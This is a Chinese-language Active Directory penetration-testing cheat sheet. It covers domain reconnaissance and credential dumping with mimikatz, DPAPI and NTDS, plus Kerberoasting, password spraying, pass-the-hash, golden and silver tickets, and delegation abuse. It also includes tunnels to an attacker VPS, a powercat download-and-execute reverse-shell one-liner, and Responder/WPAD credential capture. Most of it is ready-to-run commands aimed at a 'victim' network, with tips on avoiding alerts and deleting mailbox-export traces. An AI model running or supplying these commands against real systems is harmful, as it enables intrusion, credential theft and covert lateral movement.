域内信息搜集
查看域用户,普通域用户权限
1 | net user /domain |
将自动选择归属域、并查询
查看域管理员
1 | net group "domain admins" /domain |
域管理组 Domain Admins组
快速定位域控ip,一般是dns、时间服务器
1 | net time /domain |
查看域控制器
1 | net group "domaincontrollers" /domain |
内网主机发现
查看共享资料
1 | net view |
查看arp表
1 | arp -a |
查看hosts文件
1 | linux: |
查看dns缓存
1 | ipconfig /displaydns |
利用工具,比如nmap、nbtscan
1 | 主动扫描,根据需求上传扫描工具与设置扫描频度 |
会话收集
在网内收集会话,如看管理员登录过哪些机器、机器被谁登录过,这样攻击的目标就会清晰很多
可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。
api相关介绍如下:
https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum
利用Powershell脚本PowerView为例(https://www.cnblogs.com/-zhong/p/11012764.html)
ps脚本执行权限获取
1 | Get-ExecutionPolicy |
查看域用户登录过哪些机器
1 | Import-Module .\PowerView.ps1 |
利用PowerView别样信息搜集
1 | Get-NetDomain # 获取当前的域名称 |
只有cmd命令
1 | powershell -exec bypass "import-module c:\powershell.ps1;Get-NetUser" |
凭据收集
拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码。
远程连接凭据
1 | cmdkey/list |
各种工具历史连接
*Navicat (存放在注册表)*:
MySQL | HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<your connection name> |
---|---|
MariaDB | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<your connection name> |
MongoDB | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<your connection name> |
Microsoft SQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<your connection name> |
Oracle | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<your connection name> |
PostgreSQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<your connection name> |
SQLite | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<your connection name> |
*SecureCRT (存放在文件)*:
xp/win2003 | C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions |
---|---|
win7/win2008以上 | C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions |
*Xshell (存放在文件)*:
Xshell 5 | %userprofile%\Documents\NetSarang\Xshell\Sessions |
---|---|
Xshell 6 | %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions |
*WinSCP (存放在注册表)*:
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
VNC (存放在注册表/文件):
RealVNC | HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver | Password |
---|---|---|
TightVNC | HKEY_CURRENT_USER\Software\TightVNC\Server Value | Password or PasswordViewOnly |
TigerVNC | HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 | Password |
UltraVNC | C:\Program Files\UltraVNC\ultravnc.ini | passwd or passwd2 |
DPAPI
DPAPI,由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。
其作用范围包括且不限于:
Outlook客户端密码
Windows credential凭据
Chrome保存的密码凭据
Internet explorer密码凭据
在渗透中,可以利用mimikatz做到自动化的数据解密:
解密Chrome密码:
1 | mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect |
解密Credential:
1 | mimikatz vault::cred /patch |
域信任
查看域信任:
1 | nltest /domain_trusts |
域传送
当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。
windows:
1 | nslookup -type=ns domain.comnslookupsserver dns.domain.comls domain.com |
linux:
1 | dig @dns.domain.com axfr domain.com |
DNS记录获取
在网内收集dns记录,可以快速定位一些机器、网站。常用工具有Dnscmd、PowerView。
在windows server上,可以使用Dnscmd工具获取dns记录。
获取dns记录:
1 | Dnscmd ./ZonePrint jumbolab.com |
在非windows server机器(Win10)上,可以使用PowerView获取。
1 | import-module PowerView.ps1Get-DNSRecord -ZoneName jumbolab.com |
WIFI
通过如下命令获取连接过的wifi密码:
1 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear |
GPP
当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。
其中xml中的密码是aes加密的,密钥已被微软公开:
可以使用相关脚本进行解密,如:
域用户登录脚本存在目录也会存在敏感文件:
1 | \\domain\Netlogon |
Seatbelt
可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等
当有了chrome的访问历史时,就可以知道该用户访问的一些内部站点的域名/IP,可以提高内网资产的摸索效率.
Bloodhound
我们可以利用Bloodhound做一些自动化的信息收集,包括用户、计算机、组织架构、最快的攻击途径等。但是自动化也意味着告警,该漏洞做自动化信息收集时,会在内网设备上产生大量的告警,按需使用。
执行:
SharpHound.exe -c all
运行完毕会生成一个zip压缩包,名字类似于20200526201154_BloodHound。
导入Bloodhound后可以做可视化分析
比较常用的就是寻找攻击域控的最快途径(Find Shortest Paths to Domain Admins功能)
Exchange
exchange一般都在域内的核心位置上,包括甚至安装在域控服务器上,因此我们需要多多关注exchange的相关漏洞,如果拿下exchange机器,则域控也不远了。
邮箱用户密码爆破
使用ruler工具对owa接口进行爆破:
1 | ./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt |
ruler工具会自动搜索owa可以爆破的接口,如:
https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml
其他如ews接口也存在被暴力破解利用的风险:
https://mail.targetdomain.com/ews
通讯录收集
在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定:
1 | Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt |
信息收集
当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。
获取所有邮箱用户:
1 | Get-Mailbox |
导出邮件:
1 | New-MailboxexportRequest -mailbox username -FilePath ("\\localhost\c$\test\username.pst") |
也可以通过web口导出,登录:
https://mail.domain.com/ecp/
导出后会有记录,用如下命令可以查看:
1 | Get-MailboxExportRequest |
删除某个导出记录:
1 | Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false |
传输通道
在做完信息收集后,为了方便进一步内网渗透,一般都会建立一个通道,甚至是多级跳板。
是否出网
可以用以下命令判断:
ping | icmp |
---|---|
curl | http |
nslookup | dns |
Netsh
netsh是windows自带的命令,可以允许修改计算机的网络配置。也可以被拿来做端口转发。
A机器执行如下命令:
1 | netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp |
B机器访问A机器的5555端口,即是192.168.1.1的3389端口
SSH
SSH一般被拿来登录linux机器,也可以拿来做代理和转发。
假设有两台服务器A和B:A处于内网无公网IP,B是一个云主机如阿里云有公网IP,现在手头上有一台处于校外网的电脑C,想用ssh登录服务器A完成一些骚操作,怎么弄呢?很简单,原理是让B建立对A的临时ssh反向代理通道,然后用C登录B就可以直接ssh进入A了
1 | 内网穿透 |
reGeorg
reGeorg是一款开源的socks代理软件,可以解决当机器不出网时,使用http代理进入内网。
根据网站支持的语言,把相应的tunnel.xx传到服务器上,访问tunnel.xx显示“Georg says, ‘All seems fine’”,说明基本ok。
本地运行:
1 | pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx |
利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。
EarthWorm
EarthWorm是一款用于开启SOCKS v5代理服务的工具,基于标准C开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
受害者机器有外网ip并可直接访问:
把ew传到对方服务器上,执行:
1 | ./ew -s ssocksd -l 8888 |
现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。
控制A机器,A能够访问B,通过A访问B:
在自己外网服务器上执行:
1 | ./ew -s rcsocks -l 1080 -e 8888 |
对方服务器执行:
1 | ./ew -s rssocks -d yourvpsip -e 8888 |
利用proxychains等类似工具可通过连接你的外网vps的1080 端口的socks5,即可代理受害者服务器的网络。
控制A、B机器,A能够访问B,B能够访问C,A有外网ip并可直接访问,通过A来使用B的流量访问C:
B机器执行:
1 | ./ew -s ssocksd -l 9999 |
A机器:
1 | ./ew -s lcx_tran -l 1080 -f BIP -g 9999 |
利用proxychains等类似工具可通过连接A的1080 端口的socks5,即可代理B服务器的网络。
控制A、B机器,A能够访问B,B能够访问C,A没有外网ip,通过A连接自己的外网vps来使用B的流量访问C:
自己vps执行:
./ew -s lcx_listen -l 1080 -e 8888
B机器执行:
./ew -s ssocksd -l 9999
A机器执行:
./ew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999
利用proxychains等类似工具可通过连接你自己的vps的1080 端口的socks5,即可代理B服务器的网络。
lcx
lcx是一款轻便的端口转发工具。
反向转发
外网VPS机器监听:
1 | lcx.exe -listen 1111 2222 |
受害者机器执行:
1 | lcx.exe -slave VPSip 1111 127.0.0.1 3389 |
连接外网VPS机器的2222端口即是连接受害者机器的3389。
正向转发
A机器执行:
1 | lcx.exe -tran 1111 2.2.2.2 8080 |
访问A机器的1111端口即是访问2.2.2.2的8080端口。
powercat
powercat是一款ps版nc。可以本地执行,也可以远程下载执行,远程执行命令如下:
1 | powershell"IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-l -p 8000 -e cmd" |
然后远程连接执行命令即可。如果嫌弃该命令太暴露,可以对其进行编码。
mssql
当目标机器只开放mssql时,我们也可以利用mssql执行clr作为传输通道。
环境如下:
工具项目地址:
https://github.com/blackarrowsec/mssqlproxy
权限提升
明明是administrator权限,为什么有些命令执行不了?拿到一个普通的域用户权限后,如何拿到域控权限?均属于提权
3.1、UAC
UAC,即用户账户控制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。在系统上直观看起来类似于这样:
那如何寻找bypass uac的方法呢。我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
以高权限运行的进程图标一般有如下标志:
Win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒)
利用ProcessMonitor对该进程的行为做一个监听:
先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute
当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。
ms14-068
该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。下面介绍下漏洞的成因,先来一个Kerberos协议流程图:
大致流程如下:
1、域用户登录时,向KDC的AS服务以自身密码加密的时间戳进行预认证;
2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成;
3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据
4、域控的TGS服务验证TGT通过后,返回给域用户能够访问Application Server的票据,即ST,ST以Application Server的服务账号密码加密;
5、域用户拿着ST访问对应的Application Server;
6、Application Server验证ST,决定成功与否。
下面简述ms14-068的问题所在:
TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。
默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。
利用方法:
1 | python ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> |
权限维持
密码抓取已经成为渗透中必不可少的一项技能。一个管理员很可能管理着N多台机器,但是密码使用的都是同一个或者是有规律的。如果抓到一台机器的密码,利用同密码碰撞,很可能这个渗透项目就结束了。本节主要介绍密码抓取的原理和一些手段。
NTLMhash和NET-NTLMhash
先简单介绍下LMhash和NTLMhash。
我们经常看到的hash长这样:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
他的组成就是:
user:sid:lmhash:ntlmhash
LMhash的加密流程如下:
1、密码长度限制为14个字符
2、密码全部转换为大写
3、密码转换为16进制字符串,不足14字节用0补全
4、密码的16进制字符串被分成两个7byte部分
5、再分7bit为一组,每组末尾加0,再组成一组
6、上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。
7、将加密后的两组拼接在一起,得到最终LM HASH值。
为了解决LMhash强度不够的问题,微软推出了NTLMhash:
1、先将用户密码转换为十六进制格式。
2、将十六进制格式的密码进行Unicode编码。
3、使用MD4对Unicode编码数据进行Hash计算
因为在vista后不再支持LMhash,因此抓到的hash中的LMhash都是aad3b435b51404eeaad3b435b51404ee
在hash传递攻击时,可以替换成0:
00000000000000000000000000000000
再看下ntlm认证的过程:
他的简述流程如下:
1、客户端向服务端发起认证
2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。
上述中的response类似于下面这样:
上述中的response就可以理解为net-ntlmhash,因此ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和relay。
本地用户凭据(dump出NTLM-hash)
在windows上,C:\Windows\System32\config目录保存着当前用户的密码hash。我们可以使用相关手段获取该hash。
使用reg命令获取本地用户凭据hash:
1 | reg save HKLM\SAM SAM.hive |
最后可利用bootkey解密获取hash,其他工具举例pwdump7、mimikatz
mimikatz:
1 | privilege::debug |
从lsass.exe中获取也可以。如直接使用mimikatz获取(明文密码):
1 | privilege::debug |
Procdump+Mimikatz:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full” exit
为什么有的抓不到明文密码,主要由于kb2871997的问题。
kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。用户可以选择将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential更改为0来禁用。
它在winserver 2012 R2及以上版本已默认集成。在winserver 2012R2上面测试,手动添加上述注册表的值为1,然后抓密码,发现只有wdigest能抓到明文密码了
kb2871997除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。
域hash
当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit(NTDS字典)导出所有用户hash。因为ntds.dit被占用,因此需要利用如卷影备份等手段copy出ntds.dit,然后利用如NTDSDumpEx.exe解析hash:
当拷贝ntds.dit时,由于网络、文件大小等问题,可以使用DRS协议获取hash凭据:
1 | mimikatz.exe privilege::debug "lsadump::dcsync /domain:jumbolab.com /all /csv" exit |
有时为什么能抓到明文密码,有时并不能呢,除了上面说的kb2871997的问题以外,还有个“Reversible Encryption”。
token窃取
token是一个描述进程或线程安全上下文的对象。token即令牌包括了与进程或线程关联的用户账号的标识和特权,当用户登录时,系统通过将用户密码与安全数据库进行比对来验证用户密码正确性,如果密码正确,系统将生成访问token。该用户的进程都携带该token,可以利用DuplicateTokenEx api对现有token的复制,然后使用CreateProcessWithToken api对复制的token创建一个新的进程。效果如下:
有个system权限进程:
以administrator权限窃取该进程token,成功获取system权限:
Kerberoasting
在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。
在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS:
1 | powershell执行 |
再利用mimikatz导出:
1 | kerberos::list /export |
然后利用tgsrepcrack暴力破解:
1 | python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM.kirbi |
最终成功获取该域用户密码:
密码喷射
在内网中,也可以尝试对smb、3389、mssql弱口令进行密码暴力破解,但是要注意线程,密码数不要太多。当然,也可以使用不同账号,同个密码进行尝试。这里使用kerbrute对域用户/密码进行暴力破解:
爆破用户:
1 | kerbrute userenum -d jumbolab.com usernames.txt |
密码喷射:
1 | kerbrute passwordspray -d jumbolab.com username.txt aA1234567 |
LAPS
LocalAdministrator Password Solution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码:
1 | powershellGet-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd |
如果安装LAPS,在安装的软件列表里能看到:
横向移动
当我们获取到某个机器账号密码、获取到hash了,后续我们应该怎么做,如何做,这就是本章介绍的内容。当然,当我们拿下更多的机器时,别忘记了,信息收集必不可少。
账号密码链接
当我们获取到机器的账号密码的时候,可以尝试用以下几种方式进行连接并执行命令。
IPC
1 | net use \\1.1.1.1\ipc$ “password” /user:username |
Psexec
用服务启动的方式:
1 | psexec \\target -accepteula -u username -p password cmd.exepsexec.py jumbolab.com/administrator@172.16.127.184 |
WMI
1 | 方法一 |
dSchtasks
1 | schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM" /tn "windowsupdate" /sc DAILY /tr "calc" /F schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate |
AT
1 | at \\1.1.1.1 15:15 calc |
SC
1 | sc \\1.1.1.1 create windowsupdate binpath= "calc"sc \\1.1.1.1 start windowsupdate |
REG
1 | reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc" |
DCOM
1 | # 方法一 |
WINRM
1 | winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami " |
PTH
当我们没有明文账号密码,只有hash时,可以尝试hash传递。
**
**
5.2.1 impacket套件
项目地址:https://github.com/SecureAuthCorp/impacket
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c domain/administrator@1.1.1.1 “whoami” |
---|
psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D455C domiain/administrator@1.1.1.1 “whoami” |
smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734FE7 domiain/administrator@1.1.1.1 “whoami” |
Invoke-TheHash套件
项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash/
1 | Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose |
1 | More ActionsInvoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose |
mimikatz
使用如下命令:
1 | privilege::debug |
弹出cmd:
安装KB2871997补丁后,可以使用AES-256密钥进行hash传递:
抓取AES-256密钥:
1 | mimikatz: |
NTLM-Relay
上述都是“主动性”的攻击行为,也就是主动去连接别人,那我们也可以尝试“被动性”攻击,当别人访问我们时,或者说是无感知访问时,我们能做什么操作?
实验环境:
win7172.16.127.184 普通域用户
win10172.16.127.170 域管
dcserver172.16.127.173 域控
kali172.16.127.129 攻击机
利用工具:
Responder、impacket
5.3.1 LLMNR
链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。它是包含在Windows Vista中,Windows Server 2008中,Windows 7中,Windows 8中和的Windows 10。它也被实施systemd在Linux上-resolved。LLMNR定义在RFC 4795。
在DNS 服务器不可用时,DNS 客户端计算机可以使用本地链路多播名称解析 (LLMNR—Link-Local Multicast Name Resolution)(也称为多播 DNS 或 mDNS)来解析本地网段上的名称。例如,如果路由器出现故障,从网络上的所有 DNS 服务器切断了子网,则支持 LLMNR 的子网上的客户端可以继续在对等基础上解析名称,直到网络连接还原为止。
除了在网络出现故障的情况下提供名称解析以外,LLMNR 在建立临时对等网络(例如,机场候机区域)方面也非常有用。
翻译成白话文怎么说:你正常内网中如访问真实存在的机器,如jumbo01,当有一天你不小心输成了不存在的机器jumbo02,客户端就会问内网中谁是jumbo02啊,有没有是jumbo02的人啊。
攻击手法v1.0
首先我们如果访问一台不存在的机器jumbo02,是以下这个结果
那我们如果我们在客户端询问谁是jumbo02的时候应答他的话,就是这个结果
攻击机执行
responder -I eth0
客户端访问jumbo02提示需要输入密码
输入密码后,攻击机收到net-ntlm:
收到net-ntlm以后我们就可以尝试利用hashcat进行破解等攻击。
WPAD
先来一段百科介绍,网络代理自动发现协议(Web Proxy Auto-Discovery Protocol,WPAD)是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理。
翻译成白话文怎么说:就是你的上网配置、怎么上网,如果你浏览器设置了上网自动检测设置(默认配置),客户端上网的时候,就会问,谁是wpad服务器啊,你是wpad服务器啊,然后拿着pac文件上网去了。
那如果我们伪造wpad服务器的话,首先攻击机执行
1 | responder -I eth0 -wFb |
这里使用-b参数强制使用401认证
客户端访问一个不存在的域名时会跳出登录框
输入账号密码以后,我们收到明文账号密码
从responder的信息反馈能得知,实际上是利用wpad欺骗返回了一个401认证,导致欺骗我们获取了其账号密码。
域信任
当存在子父域时,默认其是双向信任。可以利用sid history跨域提权。流程大致如下:
利用如下,使用mimikatz获取子域的Krbtgt Hash:
1 | lsadump::lsa /patch |
再使用powerview获取父域的sid:
1 | Get-DomainComputer -Domain jumbolab.com |
然后添加一个sid=519的企业管理员,利用mimikatz执行如下命令:
1 | kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.jumbolab.com /sid:S-1-5-21-1786649982-4053697927-1628754434 /sids:S-1-5-21-4288736272-2299089681-4131927610-519 /ptt |
最终成功获取父域权限
攻击Kerberos
在域中,最核心的就是kerberos协议了,但是也会出现各种安全问题,甚至可以以一个普通域用户提权到system权限,配置不当甚至可以获取到域控权限。
PTT
当我们抓取到了krbtgt hash时,能做什么?继续往下看。
金票据
上面提到了ms14-068,也介绍Kerberos协议,知道了TGT是由krbtgt加密而成。因此当拿到krbtgt账号hash时,就可以构造一个任意权限的tgt了:
使用方法:
1 | mimikatzkerberos::purgekerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt: krbtgt hash值 /ticket:administrator.kiribikerberos::ptt administrator.kiribikerberos::tgtdir \\dc.domain.com\c$ |
5.5.1.2 银票据
上面的金票据是伪造的TGT,银票据是伪造TGS,由服务账号密码加密而成。
利用方法:
1 | mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域控全称 /service:要访问的服务,如cifs /rc4:NTLM,计算机账号hash /user:user /ptt"dir \\server\c$ |
kekeo
利用kekeo进行ptt:
1 | kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1" |
执行后生成票据 TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi
接下来导入票据:
1 | kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"dir \\server\c$ |
委派
基于资源的约束委派
简单理解为A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性),则B可以通过s4u协议申请高权限票据对A进行利用。利用过程如下:
普通域用户默认可以添加10个机器账号,添加spnspnspn$并设置msds-allowedtoactonbehalfofotheridentity:
1 | get-adcomputer win7 -properties principalsallowedtodelegatetoaccount |
利用s4u协议申请高权限票据:
1 | getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn\$:spnspnspn -spn cifs/win7.jumbolab.com -impersonate administrator |
导入票据:
1 | export KRB5CCNAME=administrator.ccache |
访问目标机器:
1 | smbexec.py -no-pass -k -debug win7.jumbolab.com |
非约束委派
简单理解为user访问service1服务时,如果service1服务开启了非约束委派,则在user访问service1服务时,会把自身的tgt发送给service1,因此service1可以利用user的tgt去访问user可以访问的服务。利用过程如下:
win7机器开启了非约束委派:
下面我们再利用Spooler打印机服务错误强制让运行了spooler服务的机器通过kerberos或ntlm的方式连接指定的目标机器
SpoolSample.exedcserver win7
导出tgt:
1 | mimikatzprivilege::debugsekurlsa::tickets /export |
导入票据:
1 | kerberos::ptt [0;1f9fc7]-2-0-60a10000-DCSERVER$@krbtgt-JUMBOLAB.COM.kirbi |
win7机器即可获取所有用户hash:
发现非约束委派机器可以用如下命令:
查找域中配置非约束委派用户:
1 | Get-NetUser -Unconstrained -Domain jumbolab.com |
查找域中配置非约束委派的主机:
1 | Get-NetComputer -Unconstrained -Domain jumbolab.com |
约束委派
服务账号可以为一个域用户设置spn即可:
1 | setspn.exe -U -A test/test test |
申请tgt:
1 | kekeo:tgt::ask /user:test /domain:jumbolab.com /password:aA123456 |
利用生成的tgt申请st:
1 | kekeo:tgs::s4u /tgt:TGT_test@JUMBOLAB.COM_krbtgt~jumbolab.com@JUMBOLAB.COM.kirbi /user:Administrator@jumbolab.com /service:cifs/dcserver.jumbolab.com |
导入st:
1 | mimikatz:kerberos::ptt TGS_Administrator@jumbolab.com@JUMBOLAB.COM_cifs~dcserver.jumbolab.com@JUMBOLAB.COM.kirbi |
发现约束委派机器可以用如下命令:
查找域中配置约束委派用户:
1 | Get-DomainUser -TrustedToAuth -Domain jumbolab.com |
查找域中配置约束委派的主机:
1 | Get-DomainComputer -TrustedToAuth -Domain jumbolab.com |